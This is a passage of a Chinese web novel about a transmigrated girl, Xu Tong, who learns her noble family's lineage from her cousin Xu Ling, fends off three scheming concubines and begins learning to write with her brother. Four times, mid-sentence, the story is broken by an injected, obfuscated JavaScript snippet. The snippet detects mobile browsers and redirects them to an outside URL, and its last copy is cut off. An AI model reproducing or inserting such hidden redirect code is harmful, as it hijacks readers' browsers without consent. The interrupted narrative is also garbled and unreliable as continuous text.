“芋香?”许曈有些饿了:“芋头的芋?” “小姐说什么芋头木头的啊,”宝香笑:“是宝玉的玉。” “玉香如今还笨手笨脚的,当不得事,”宝香偏头想了想:“估摸着还要几年才能进来服侍姑娘。” 玉香……就是宝香的妹妹,说起这个人许曈又有些赧颜——玉香比许曈大了一个月,朱妈妈又是许曈的奶娘,所以玉香就是那个被自己抢了奶水的那个人……虽然这事是原主做的,但如今的许曈想想也还是有些不太好意思。 听说玉香小姑娘瘦瘦小小的,想来就是因为营养不良……即使这样,她如今已经能帮着朱妈妈做事了,对比一下如今还是米虫的自己……许曈更羞愧了。 还有就是……许曈赧颜——虽然她知道宝香无意只是随口提起,许曈却感觉自己罪大恶极——朱妈妈、宝香,还有以后的玉香,至少一家三口的命运都跟自己绑在了一处。 偏偏她对此也无能无力,许曈叹口气,转了话题:“宝香你识字的啊?要不你怎么知道宝啊玉啊的。” “小姐又说笑呢,”宝香抿嘴笑:“奴婢哪里识得字,只不过就记着家人的名字而已,哪怕就是‘宝玉’二字,奴婢也不过就是大致认得一个字形而已,要写的话定是写不出的。” “在说什么宝玉黛玉的,”一道声音自外边响起:“妹妹可好些了?” 小女孩的声音,偏偏人还未至,声音已达,让许曈想起红楼里凤姐的出场——不过这里肯定不会是红楼,许曈打起精神来——她浑浑噩噩过了几天,除了许旻每天来报道老夫人偶尔着人来给她送东西之外,其他人都没有见到,她先前就在猜测自己身体的原主人应该是十分不受宠的,至少不受亲生父母的宠,不过想来也是,一个疯子加傻子,自然不讨喜。 可是现在却来了客人。 “是公府那边来的八小姐呢。”宝香笑了笑,下一刻便见着珠儿将一个约莫跟自己同岁的小女孩迎了进来,宝香连忙去奉茶。 八?许曈愣了愣,想起自己那混乱的排行,这些天她也品出一些门道来了,大致就是她们这个家族很大,子孙很多,所以排辈才会有些乱,比如说许曈自己,她应该是自己父母的第二个孩子,但是男女上分开排序的,所以她是父母的第一个女儿,排行第三是以祖父这里开始算的,她是老夫人第三个孙女,但是以“许家”这个大家族算来的话,这一辈的女儿里她排行第九。 所以有时候有人叫自己三小姐,有时候唤自己九小姐——其实都没错,只不过是以不同的立场或者说视角来看而已。 这个人排行第八,那就是比自己大了,许曈正在犹豫她要怎么称呼对方,正要起身,那小女孩已经上前拦住了她,小女孩年纪虽小,却偏偏做出小大人的模样:“曈妹妹大病初愈便不用起来了,自家姐妹哪里用得着那些虚礼。” 宝香捧了茶过来,递给小女孩身边的大丫鬟:“八小姐请用茶。”又看了许曈一眼,这才小心翼翼地把杯子放到许曈前边,许曈欲哭无泪——她真的做不出突然发疯摔杯子这事情啊,都这么久了怎么宝香还是不信她呢。 那小女孩身边的丫鬟也跟着许曈行礼:“九小姐。” 虽然对方不让自己行礼,但是基本的礼数还是得有的,既然对方喊自己妹妹,那么定然是年纪比自己大,又排行第八——许曈朝着小女孩点头:“八姐姐。” “扑哧——” 正喝水的小女孩差点将水喷出来,她身边的丫鬟连忙帮她擦拭,待清理干净了,小女孩方才笑道:“他们都说曈妹妹大病了一场好了一些,怎么我瞧着,可没什么变化。” 是在含蓄地说她还是一脸傻样是吧,虽然被讽刺,但是许曈倒是没怎么生气,虚心请教道:“是我这称呼有什么不对吗?”说着以询问的眼神看了宝香一眼。 “噗——”小女孩再度喷了,这次差点喷到许曈身上,只见她尴尬得让人继续给自己擦干净,复又笑道:“哎呀不行,你千万别叫我八姐,怪奇怪的,我可不想长成个胖子——我们本是同辈,年岁又差不多,你直接叫我名字便好了。” 许曈茫茫然眨眼——所以她名字呢? “也是我疏忽了,没一早自报家门,我们这一辈的名字都是从日的,你叫许曈我叫许昤——”见许曈一脸懵懂无知的表情:“你这里可有纸笔?对了我忘了,你这里不可能会有那些东西的。”说着又笑了,拉过她的手似乎想在她手上写字,不过却又停住,眼睛看着许曈,“本想写给妹妹看的,不过妹妹是否识字?” 许曈想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142867|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大叫说她当然识字,不过随即一想觉得她要是真的这样做了只怕又被人认为是疯子,因此神色微赧,又带着点小骄傲道:“当然,昨天哥哥还拿了千字文教我呢。” “千字文哪里够用的,”许昤神色看不出什么异色:“不过妹妹这样等于是还未开蒙,千字文倒是可以用来认认字。” 言下之意是她不知道读到什么书了,但是肯定不会像许曈这么落后才读到千字文是吧?许曈表示很无辜——她也不想啊,但是做事要循序渐进啊,如果她现在去捧着四书读的话,肯定又会被人认为是疯子无疑——再说现下里她也的确看不了太深奥的。 “看样子妹妹应该是大好了,”许昤眼珠子一转:“曈妹妹可觉得有什么地方不太一样?” “有什么不一样?”许曈不解,生怕对方看破自己其实不是原来的许曈。 “先不说这些,”许昤却是摆摆手:“我前些日子便想着要来看妹妹的,只是母亲管教得严,一直走不开,今儿才寻着空子过来,曈妹妹还请不要怪罪姐姐才好。” “不会啊,”许曈低声道:“你能来,我感动还来不及呢。”这倒是真心实意的,毕竟许昤是除了老夫人与许旻之外,第三个来看自己的“亲人”。 “宝香,”许昤向着宝香点点头道:“我听说你络子打得极好,有心要求着帮忙打几个络子,却又不好意思和曈妹妹抢人,所以想着让自己身边的人跟你学学,偷师一二,不知道肯不肯教呢?” 宝香对许昤似乎是挺恭敬的:“有什么不肯的,只是素音姐姐带着碧心姐姐去了老夫人处,翠羽姐姐也不在,燕儿她们又年幼手脚不伶俐,奴婢——” “宝香你便放心去吧,”许昤娇笑道:“横竖我又不是什么客人,可不用守那些规矩,再说了让侍书和入画跟着你去了,这里也还有抱琴和司棋呢——有她们在,宝香你可安心些了?好宝香,你便依了我吧,正好也让我和曈妹妹说几句贴己话。” 话都说到这份上,宝香哪里还敢推辞,只好道:“如此,麻烦八小姐了。” 又朝许曈告辞:“小姐你若是有事,便着人唤奴婢一声。”说着点点头带了应该是侍书和入画的两个小丫鬟出去了。 余下的抱琴和司棋似乎是大丫鬟,许昤却只是摆摆手:“抱琴、司棋你们出去,我和妹妹有些体己话要说呢。”她一边说一边细细打量许曈的反应。 许曈一开始还想不过来,此时听着那小女孩四个丫鬟的名字——抱琴、司棋、侍书、入画——怎么越听越熟悉,这不是红楼梦里元迎探惜四春身边的大丫鬟吗! 看样子,这个许昤应该还是个红楼迷,只不过这个朝代已经有红楼出现了吗?许曈微微疑惑,随即释然不打算问——她落到什么时代还未知,太大惊小怪的话,反而让人生疑。 因而只是笑道:“姐姐身边的丫鬟名字取得真好,真有文采。” 许昤仔细观察了一下许曈的情形,也不知道在看什么,许久才叹气道:“说起来,我与妹妹倒是有缘。” “妹妹在这府中排行第三,我在我们府上也排行第三,”许昤拍拍手:“说起来,三房那边的七姐姐也排行第三,我们三个恰好凑在一处成了七八九,得亏不是按着各房的排序,要不岂不是傻傻分不清楚?” 许曈本来以为许家就两房,如今听到又多了一个三房,顿时感觉自己脑子有些不够用了。 6. 006 家史 “我们都姓许,曾祖因匡扶太|祖即位有功,与另外五人加封国公,世袭递降,曾祖有子三人有女一人,我祖父袭了比国公降一等的郡公之爵,二叔祖——也即你祖父颇得曾祖喜爱,又得陛下赏识,因而赐了降一等的县公,传至你我父叔这一辈,我父亲袭了县公之爵,三叔叔也即二叔祖长子、你父亲之兄长袭了郡侯之爵——故此我们那边称公府,你们这边称侯府,曾祖故去之后三房便分了家,私下里子女的排辈是分开来排的,但大多数时候为了以示区分,会一起排序,故而你我都在各自府里排行第三,但因我年长你几月,一起排辈时,我排第八,你排第九。” 许曈似懂非懂:“你祖父,我祖父,那还有一个祖父呢?”人一多,就真的有点乱。 许昤轻轻点头:“你是说三叔祖?” “三叔祖那一房取名与我们两房也一样,虽然三叔祖没有袭爵,不过三房里出仕的也只他一人,他那边的七姐姐也排行第三,比你我大上几岁,平日里倒是不常来往,”许昤想了想道:“想来你也无甚机会见到她就是了——” 许曈默泪——她这又是在暗示许曈是个傻子,根本连这个门都出不了的是吧——希望是许曈自己想多了。 “所以我们几家到底有多少人?”许曈有些为难:“应该不会很多吧?” “祖父育有三子一女,二叔祖育有三子二女,三叔祖有二子二女,我那边是父亲袭了爵位,六叔叔也是我们那边的;你们这边是三叔叔袭了爵位,你父亲是父辈里最小的;二叔叔和四叔叔是三叔祖那边的——”许昤想了想:“大致便是这些了。” 她说一个人许曈便掐一下手指,此时想了想觉得不对:“才六个……不是有八个人吗?” 许昤顿了顿:“五叔叔是二叔祖妾室所处,七叔叔是祖父妾室所出——早已经分出去了,平日里也无甚机会得见——依我说,还是三叔祖那边的规矩最好,三叔祖一生都没有纳妾,四叔叔也没有纳妾,二叔叔是先头的二婶子去了之后方才续娶的——所以三叔祖那边的规矩向来与我们两房不太一样,依我说,虽则三叔祖没有袭爵,只怕心底他自己是仕途正道出身,反倒是看不惯我们两房的奢靡,所以才让那边的兄弟姊妹远了我们这两房呢。” “至于姑姑们——”许昤沉吟一会:“大姑姑是你们这边的,嫁了徐家,生有三个表哥,最小的表哥也比你我大了十岁,二姑姑是我们公府那边的,陛下还是皇子时便已经跟着他了,只可惜生下大表姐时故去了,三姑姑是三房的,嫁给了魏家,四姑姑与小叔叔也即你父亲是孪生姊弟,二姑姑薨了之后入了宫,而今是皇后呢,她生下的皇子表哥就是当今的东宫,比你我大四岁左右,比十一哥哥大一些——对了先前忘记说了,曾祖不是有三子一女吗,那个女儿一早便入了先帝后宫成为皇后,陛下即位之后成为太后。” 许昤细数起这些事时,倒也有几分为家族得意的神色,然而许曈的关注点比较偏:“太子?表哥?那么……那样的话……我们和那个太子表哥都长大了的话……”岂不是要近亲结婚? 她想起来了,古代很崇尚这种亲上加亲的关系——但是对于许曈而言……近亲结婚,她接受无能。 谁知许昤却是一脸的惋惜,似乎是听懂了许曈没有说完的话:“这个朝代奉行‘中表不婚’,身为外戚,我们许家——还有傅家的女儿都没有机会入宫呢。” “傅家?”许曈听着突然冒出来的陌生姓氏,有些敏感。 “就是二祖母的娘家啊,”许昤原本似乎有些不可思议好像许曈不知道这种事情是多么奇怪的事情一样,不过看了许曈一眼便又觉得好像可以理解:“就是二房的老夫人,而今许家在京城的几房中辈份最高最年长之人,隔壁的三叔祖和三祖母对她也要敬上三分。” 许曈想起自己只见过一个这么有分量的人……小心翼翼问道:“祖母?” “妹妹可算是想起来了,”许昤点头,继续给她科普:“我们公府那边,先祖母是秦家的,生有两子一女;二姑姑先前已经说了;父亲先头的夫人是沈家的女儿,遗有一子一女,大姐姐是长房长女也三房里的长女,名字里是一个‘明’字,三年前嫁的是唐家,已经诞育一子,最近估摸着要生第二个孩子,到时候估计你们这边也是要随礼的,大哥哥名讳曰‘旦’,家族里排行第三,定下的是季家的女儿,” 许昤轻轻喝了口水润利润嗓子:“二哥哥名字里是‘昇’字,家族里排行第六,是现在的夫人——也即父亲的继室所出,今年十五,还未定亲。” 许曈有些头疼:“父辈的人数还勉强可以记得住……再往下……”脑容量有点——不,是十分不足。 许昤因笑:“其实你也不必这般,要记住的人并不多,平日里只需稍稍注意一下便好,再说了还有身边的丫鬟们呢,你记不住不打紧,只要身边的人时时提醒着,记着礼数,便不会差。” 她说了半天,也只是说的他们府上的事,许曈知道机会难得,今日不问以后怕是没机会问了:“那我们这一房,姐姐知道多少?” “至于你们这边,祖辈和父辈之前也与你说了,便只说说平辈的吧,三婶婶是贺家的,只有嫡出一子,你我都要叫一声‘大哥’的显哥哥是子辈里第一个,不久之前迎娶了游家的女儿,”许昤神色一顿:“三叔叔还有二子二女,皆是妾室所出,排行第三的许暚嫁给了陆家四房,后边有个许昀,与你我小一些排行第十。” 许曈不知为何,总感觉到哪里不太对劲,却又偏偏说不上来,只好听许昤继续道:“小叔叔——也即你自己家里的事——你可清楚?” 许昤这是终于提到自己这身体的生身父母了?许曈又想知道又不敢接话——总感觉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142868|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的父母还要旁人来介绍,有点怪怪的。 见许曈一脸茫然,许昤摇了摇头:“也对,你经常糊里糊涂的,想是也不明了的——不过小叔叔倒是值得一说,二祖母最疼爱的便是小叔叔了,皇后又是与他同胞所出,对这个弟弟也是疼爱有加,为其指婚杜家,也是生的一子一女,你哥哥在你们府里排第四,家族里排十一,你府里女眷排第三,家族里排第九,刚好在我后边,之前和你说起的许昀,你们府里排第四,族里排第十,小叔叔有三个妾室,花姨娘诞有一子名许晢,你们府里排行第七族里排行十四,陈姨娘有一女今年好像不过才两岁,名唤许暶,你们府里排第五,族里排十一是目前最小——差不多便是这些了。” 她说了这么久,许曈终于听到一个似乎有点耳熟的名字:“许晢?”那个……推原主落水的许十四?是她这身体同父异母的……弟弟? 许曈无奈叹气——她到底是投了个什么样的人家啊。 虽然许昤说三房自己未必会见到,不过听听也是好的:“那三叔祖那边的呢?”许曈问得有些小心翼翼地,因为感觉许昤似乎不怎么待见三叔祖那边的人。 “三叔祖?”许昤神色似乎稍稍顿了一下:“三叔祖最近刚致仕,三祖母是任家的,生有二叔叔与四叔叔,三姑姑与小姑姑,二叔叔先娶的婶婶是安家的,生有三哥哥,三哥哥定下的是林家的女儿,明年迎娶,后娶的婶婶是王家的——三房因为不准纳妾的规矩在,人口倒是简单了许多,七哥哥是后来的二婶婶所出;四叔叔娶妻汪氏,生有八哥哥——晴姐姐是四叔叔所出,族内排行第二,晓姐姐是二叔叔所出,族内排行第六,暖姐姐也即我与你说的那边的三小姐,比我们大四岁,是四叔叔所出,族里排第七——说起来,我们三个‘三’倒是有缘分,七八九都挤在一处了。” 许曈晕乎乎的,衷心感叹道:“姐姐你记性真好,这么一大家族那么多弯弯绕绕的人你居然都记得这么清楚。”像她自己,简直两眼一抹黑。 许昤愣了愣,眼神有些闪烁:“无他,天生记性好罢了。” 说着又小声嘟囔了一句:“宅斗的根本肯定是要孰知所有人的底细,知己知彼方能百战百胜。” 许曈走了会神,只听得“知己知彼”几个字,想着自己其实是什么都不知道的,也不知道在这个时代能不能厮混过去,便有些忧心。 “妹妹大难不死必有后福,想必以后是有大造化的,”许昤突然转移了话题道:“对了妹妹问你件事儿——” “小姐——”却是珠儿的声音自外边响起,打断了许昤的话:“花姨娘陈姨娘和方姨娘说要来看小姐,正在门外候着呢,小姐要不要她们进来?” 三个姨娘……对应之前许昤说自己的父亲有三个妾室……许曈顿时头疼——她连自己父母都没见过,这就要见到她父亲三个小老婆了? 7. 007 姨娘 今天不知道是什么日子,往日门可罗雀,今天一来人就来了两拨。 说实话,许曈并不怎么想见外边那几个人—— 最近许曈屋里的人恭谨了许多,许曈没有发话,加之许昤在,珠儿不敢逾矩放人进来。 许昤冷笑道:“来了个赵姨娘,这下可有好戏看了。” “赵?”许曈不明所以,对这个莫名其妙冒出来的姓氏有些敏感:“有姓赵的吗?”珠儿不是通报说“花”姨娘、“陈”姨娘、“方”姨娘吗,哪来的赵姨娘。 许昤自觉失言,连忙不自在地别过脸。 两人都不再开口,身边的丫鬟也不敢说话,倒是把外边三人给撂在那里了。 “小姐近来可好些了?”还没等许曈回过神来,却有人进来了,许曈有些被吓到,许昤却是面色不善的。 “原来小姐这儿有客,倒是叨扰了——见过八小姐。”许曈尚不知怎么开口,许昤却只是哼哼了一声,也没有要请辞的意思——摆明了要看戏。 许曈回过神来,打量着进来的人,其实这人挺好看的,但待她走近,许曈便发现她面上的脂粉未免有些过于浓厚了些,而且穿着略显老气,看着比实际年龄大一些。 宝香面色不善地跑进来:“花姨娘来得可不巧,小姐这几日虽然好些了,可是毕竟是伤着了,不能劳神费力,何况今日里有客呢,花姨娘还是请回吧——若是老夫人知道我们扰了小姐静养,可得不了好。” “宝香你这说的是什么话!”花姨娘训斥道:“这里不有客儿的么,宝香你这话传出去,可别是让亲戚觉得我们在逐客——当着八小姐的面,未免太失礼!” “你——”宝香毕竟年幼,哪里是花姨娘的对手,本意是想出言送走花姨娘,眼下被花姨娘把水引到许昤身上,宝香心内没有那么多弯弯绕绕的,被花姨娘一激便觉得好像自己的确是有影射许昤之嫌,便要向许昤道歉。 许昤却是摆摆手:“花姨娘可别在我跟前挑事,我可不是客,宝香言语里可没有对我不敬。”不敬的是谁,不言而喻。 花姨娘许是觉得没面子,抽出帕子掩面,却是对着许曈:“幸好小姐你没事,要是真出了什么事……那我可怎么活啊——”随着尾音上扬,花姨娘便开始哭,不一会儿便鼻子眼睛通红,眼泪也跟着出来了。 许曈呆住——这演的是哪一出呢?说哭就哭了,连个酝酿眼泪的时间都给省了—— 不知道怎么接这戏的许曈只好面无表情、装傻充愣,毕竟原主是个远近闻名的傻子,倒也不算突兀。 许曈不配合,花姨娘演戏依然演得正起劲,许曈只能眼睁睁地看着花姨娘越哭越冲动,越哭越亢奋,越哭……越显得浮夸。 如果不是之前许昤告诉许曈自己的身份,只怕看着花姨娘这样子,会以为花姨娘是自己这身体的母亲吧?花姨娘那样子明显就是当自己死了亲儿子一般地在演啊。 幸亏不是,刚想庆幸一番,随即又心里呸了一声——她好不容易活过来了,干嘛又自己咒自己。 还是许昤看不过眼,走过去抽出花姨娘手中的帕子,轻轻抖动略嗅了一下便扔到一边:“我说姨娘也太不小心了,帕子上沾了什么东西呢,怪难闻的,难怪眼泪会一直停不下,依我说,花姨娘还是赶紧回去找个大夫,看看眼睛有没有伤着,这可不是小事,万一要是瞎了的话,十四可没人照管了。” “姐姐且莫再哭了,小姐这不是好好的吗,”另外的声音自门外响起:“老夫人最近可紧着这边,若是让人听得姐姐哭得这般伤心,以为小姐又怎么了,没得惊动了老夫人可不好了。” 对啊对啊,许曈心中点头,花姨娘哭得好像哭丧似的——啊呸,一不小心又咒了自己,真是不吉利。如此一想,看着花姨娘,许曈心下里便有些不太乐意。 不理会依旧哭个不停的花姨娘,许曈把目光转向刚刚说话的人……嗯,有两个人进来了,一个身着翠裙黄衫,二十多岁的模样,身子纤瘦,眉目温婉,向着许曈许昤行礼之后静立在一旁,与径自坐下来的花姨娘形成鲜明对比。对比虽然鲜明,然而她面上却是坦荡,仿佛她这样做事本分花姨娘那样也没错一般,向着许曈笑笑:“看小姐的样子似乎是大好了,这下我们可安心多了。”听这声音,正是后来说话的那人。 与她一起进来的是另外一个看起来年纪却是不大,看起来还不到二十的样子,身上着鹅黄色衣衫,脸儿圆圆的那双眼睛也忽闪忽闪的看起来十分可爱——许曈低头,看样子后边这两人是比较要好的,连衣服的颜色都很接近都是同一个色系,一站出来就跟两朵姐妹花儿似的,与花姨娘一身暗色并不太搭的,她是不是可以认为这三个姨娘其实看着表情风平浪静,其实不过是面上的交情罢了?至少后边来的那两人对花姨娘虽说貌似恭敬,可是行动举止之间,又让人觉得其实她们挺看不惯花姨娘的。 许曈想起听到三个姨娘在外边的消息时,许昤那神色,似乎……明白了什么。 宝香见屋内人多,很是不快——却还是向着那两人道:“陈姨娘,方姨娘。”陈姨娘是开口那人,那么后来的那个稍稍年轻些的,就应该是方姨娘了,许曈眼不错地看着宝香对那三人的态度,之前对花姨娘宝香可没问好,对另外两人却是稍稍点了点头,神色似乎也稍微和缓些—— 不过也明白,宝香也许只是护主而已,毕竟之前宝香和许旻说起的时候,好像提起过一个“许晢”,之前许昤给她的信息没错的话,那个许十四是花姨娘的儿子?之前原主出事好像和许晢脱不了干系,所以作为许晢生母的花姨娘此刻想要演的是“负荆请罪”? 许曈低头想——她都不知道许晢到底做了什么,对于花姨娘的戏,实在是没法接。 不过她也明白,最大的可能是花姨娘就是演戏走个过场而已,许曈是个傻子的事情人尽皆知,花姨娘未必想要一个傻子的原谅,她要的应该就是她已经前来请罪的事实而已——先前她们也说了,老夫人在盯着这边,她总要做做样子。 “姐姐也别在伤心了,”陈姨娘过去握住花姨娘的手,一副姐妹情深的模样:“你看小姐这不是没事了吗,想来这些天儿过去了,爷的气儿也快消了,十四少爷不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142869|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有事的。” “小姐没出事便好,”花姨娘继续抹泪,那方帕子被许昤抽走之后又被讥讽一番花姨娘却始终面不改色,奕奕然拿出另外一方帕子,继续抹泪:“阿晢也不是故意的,就是年纪还小淘气了一些,小姐好歹都是做姐姐的,想来也不会和阿晢计较这些,阿晢还小呢,也不是故意要伤着小姐,姐弟俩可别因为这事情生了嫌隙才好。” 许曈很想吐槽说三岁看老,年纪小可不是借口——每个熊孩子的背后肯定有个熊爸或者熊妈,自己孩子不对麻烦回去教训孩子好吗,别来她这里哭丧啊,她也不是非要许晢如何,反正那事情她也不记得的,但是花姨娘这种明显的“你是傻子你是姐姐别和他计较”的说辞真的是让人气恼得很。 要知道,原主便是因为许晢的缘故才死的,要不要原谅许晢,她不能替原主做主。 方姨娘在一旁娇笑道:“怎么会呢,虽然小姐也不过比十四少爷大了三个月,不过我看小姐可不是什么小气的人,花姐姐便放心吧。”说着还看了陈姨娘一眼。 许曈感觉方姨娘是话里有话,眯起眼睛——原本还觉得方姨娘年纪比较轻看着也活泼朝气的样子,却原来也不是个简单的。 但是她不想理这三人,所以干脆装傻一直不说话。 “我当然知道小姐不是小气的人,我也从没有说过这样的话儿,”花姨娘做出严肃之状:“方妹妹你这么说可不对,小姐可不是这样的人,妹妹这样说,可是在编派小姐的不是?” 这三人果然是不合……许曈默默想着,听花姨娘说完那些话又立刻换回之前神色哀戚的模样继续自说自话:“小姐没事便好,这些日子以来,我想起这事便睡不着,今天亲自过来看了,小姐没事我也就放心多了,我看小姐精神头还不怎么利索,想来还是不大好,我也就不打扰了,小姐好生安歇着,我自去帮阿晢去和爷求情,这几天因着小姐的事情,可把阿晢给吓坏了。”说着便和许昤告辞请去。 陈姨娘似笑非笑:“合着倒是给她找了个借口去见爷呢。” “可不是么,”方姨娘握了握手上的帕子,扯了扯嘴角:“我们也回去吧,小姐看着有些累了——何况这里还有客儿呢,我们也就不打扰了。”说着嗤嗤笑着,与陈姨娘向许昤许曈二人告辞,相携离开,到了外边还听到方姨娘不知道在和陈姨娘低声说着什么,只是听不太真切。 从头到尾,许曈真的就没来得及说一句话,合着这三个人就是来走个过场把她当个背景上演一出姐妹情深里暗藏勾心斗角羡慕嫉妒恨的戏码来着的啊。 被当成背景忽略的许曈很失落,不过心下里庆幸道——幸亏那三人里边没生她的人。 但下一秒她又开始失落了——生她的人到底长什么样这么多天了她竟然完全不知道!而且想到自己既然要在这个时代生活的话,到时候难免会有父母之命媒妁之言嫁给一个不知道长什么样子的男的,而且那人以后定是免不了要纳妾,一想到这个,许曈就有些郁闷。 要不……就干脆继续装傻,真的和老夫人说的那样一辈子都嫁不出去算了? 8. 008 端倪 许昤在一旁轻嗤了一声,许曈方才想起同样被当成背景的还有一个许昤。 这个时候应该怎么回应呢?许曈托着下巴想了想自己以前看过的狗血古装剧,这个时候是不是应该和许昤说一声“不好意思让姐姐见笑了”? 她还没开口,许昤却是轻轻一叹,瞥了许曈一眼,再轻轻摇头:“应该不是。” “完全不够看啊,”许昤扶着额头:“妹妹若总是这样,迟早有一天会让她们欺负到头上的。” 许曈默泪,她不是一直被欺负来着的么,先有清歌翠羽,后有姨娘来袭,眼前这个堂姐敌我不明——这悲催的穿越。 许曈还在唉声叹气,许旻的声音却在外边响起,不一会儿人便急吼吼地冲了进来:“我看到花姨娘她们刚从妹妹这里出去——她们可是来捣乱的?” 许曈愣了愣:“花姨娘说是来道歉的。” “道歉?”许旻轻哼了一声:“谁稀罕。” “十一哥哥。”许昤被忽略似乎也不恼,只是在一旁出了声,提醒两兄妹她的存在。 许旻红了脸:“八妹妹也在……我、我就是担心妹妹来着,所以没有让人说一声便进来了,若是有冒犯八妹妹的地方,还请八妹妹不要生气。” 许昤微微一笑:“十一哥哥说的什么话,你我本也是兄妹,哪里用得着这些虚礼。” 许旻向许昤点头,看向许曈又叹气:“花姨娘真的没做什么出格的事来?” 许曈没有接话,许昤倒是笑了:“哥哥放宽心,有我在一旁,花姨娘总要顾及着些,只是说了会话便走了。” 许旻神色微赧:“让八妹妹见笑了,” 许曈见他们两人似乎不喜欢在这件事情上多谈,却无人转过话题,只好拉过许旻:“哥哥刚从家塾回来的吧,身上可带有纸笔?” 她拉许昤下水:“之前昤姐姐刚好要找纸笔教我写字呢。” 许旻看了许昤一眼,神色稍稍有些担忧,看向许曈却是和缓的:“学字的事儿先不急。” 许曈不依不饶:“连宝香都认得自己的名字呢。” “好了好了,”许旻无奈:“我教你。” 说着朝着外边喊道:“青砚,让宝香把我的东西拿进来。” 外边一道清脆的少年音应了一声,宝香亦跟着出去,不一会儿便将许旻随身带着的文房拿进来,在案上摊开,不着痕迹地看了许旻一眼:“听青砚说今个儿家塾里可没有让人提早回来的。” 许旻微窘道:“我担心妹妹,哪里还能安心听先生授课?放心吧不会有人说什么的。” 宝香脸儿皱成一团:“自是不会说少爷,可是青砚——” “好了知道你和青砚自小关系好,放心我会护着他的!”许旻拍拍胸脯:“再说了,家塾那里那么多人,夫子也顾不上我,去不去其实都无甚所谓的。” 许曈叹气——许旻这个人,不是个爱读书的,之所以这些日子里逼着自己去家塾里,不过就是想学些东西好教自己这个“妹妹”,想来忍了这么些天,到底还是坐不住了,不过也对,毕竟也还是小孩罢了,能有多大耐性——她自己以前读书,新鲜感过了之后,不也是这样吗。 许旻不理会两个妹妹的神色,见宝香已经研好墨,便笑着挽袖执起笔:“我先写一遍,然后教妹妹描笔。妹妹想学什么字呢?” 许曈想了想,指了指四周的人:“就先认认各自的名字吧。” “也好。”许旻略一沉思,笔下运力,便将许曈的名字写在纸上。 许曈看了一眼,真心赞叹道:“哥哥的字真好看。”虽然那字稍显稚嫩,但是这个年纪的小孩子许曈一直觉得能把字写工整就不错了——何况许旻的字是真的写得不错。 她向来喜欢长得好看的小孩子,一见到许旻便自觉把他当做小孩子来宠,从不吝啬自己的认同和崇拜,出乎意料的是许旻似乎很吃这一套,其实也是因为她自己心虚,说到底,许旻对她好,只因为她占了之前“许曈”的身体和身份,占着别人的身体,享受着别人兄长对自己的好,许曈觉得她唯一能做的,便是代替那个死去的“许曈”好好对待关心“许曈”的人了吧,比如说许旻,比如说老夫人。 许曈以前没有毛笔字,加之这身体年幼,她对身体的掌控也还没到位,这一次写出来的字自然是惨不忍睹,不过想到“许曈”之前那情况,也不可能识字练字,所以即使歪歪扭扭,倒也没什么。 许昤一直在一旁抿嘴而笑,似乎并不打算参与进来,只是老是用些莫名其妙的眼神看着许曈,不知道在想些什么。 许旻把这屋子里所有人的名字给许曈写了一遍,许曈点了点头,再不敢拿自己鬼画符的字来献丑。 写了一会听得外边青砚道八爷着人来找许旻,许曈愣了愣,想起许昤说许家的父辈有八人,他们父亲是最小的那一个,想来说的八爷就是他了。 她还没有见过那个本应该是这身体生父的人呢,许曈叹气,算了,她这情形,想来也是正常。 许旻对她和许昤抱歉一笑,出去寻青砚去了,许昤见着笔墨,微微一笑,拿过来:“妹妹还有什么不懂的,我来教你。” 许曈哪里肯放过这个机会,缠着她将他们这一辈的兄弟姐妹的名字写过一遍,打算先混个眼熟再说。 许昤一下笔,许曈便知道为什么许旻在的时候她不肯写字了—— 许曈细细打量了许昤一眼,这个外表和她差不多的女孩子,年纪比许旻还要小,一手字却是工工整整,仿佛练习多年。 许曈再度看向许昤,她想起许昤自进到自己屋子里来便有些怪异,说起来她可不信许昤就是为了什么姐妹情深来看她,之前许昤好像想要和她说起什么但是却被姨娘们的到来给打断了—— “对了,姐姐到底是为了什么事来看我呢?” 许昤收回眼神:“妹妹这下好像是真的好了。” 许曈不答,许昤沉默了一会,方才幽幽道:“你院子里的清歌……” 为什么许昤会突然提到清歌?许曈不知道怎么开口回答,宝香却是忙着撇清:“清歌姐姐已经不在咱们院子里了。” 许曈想起那个一同穿越过来的“同乡”一转眼便又死了一次,心下戚然,顿时不想说话。 “是这样子啊,”许昤突然之间也有些怅惘的模样,轻轻一叹:“听说清歌有些不太对劲?” “是的,”宝香依旧是有些愤愤不平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 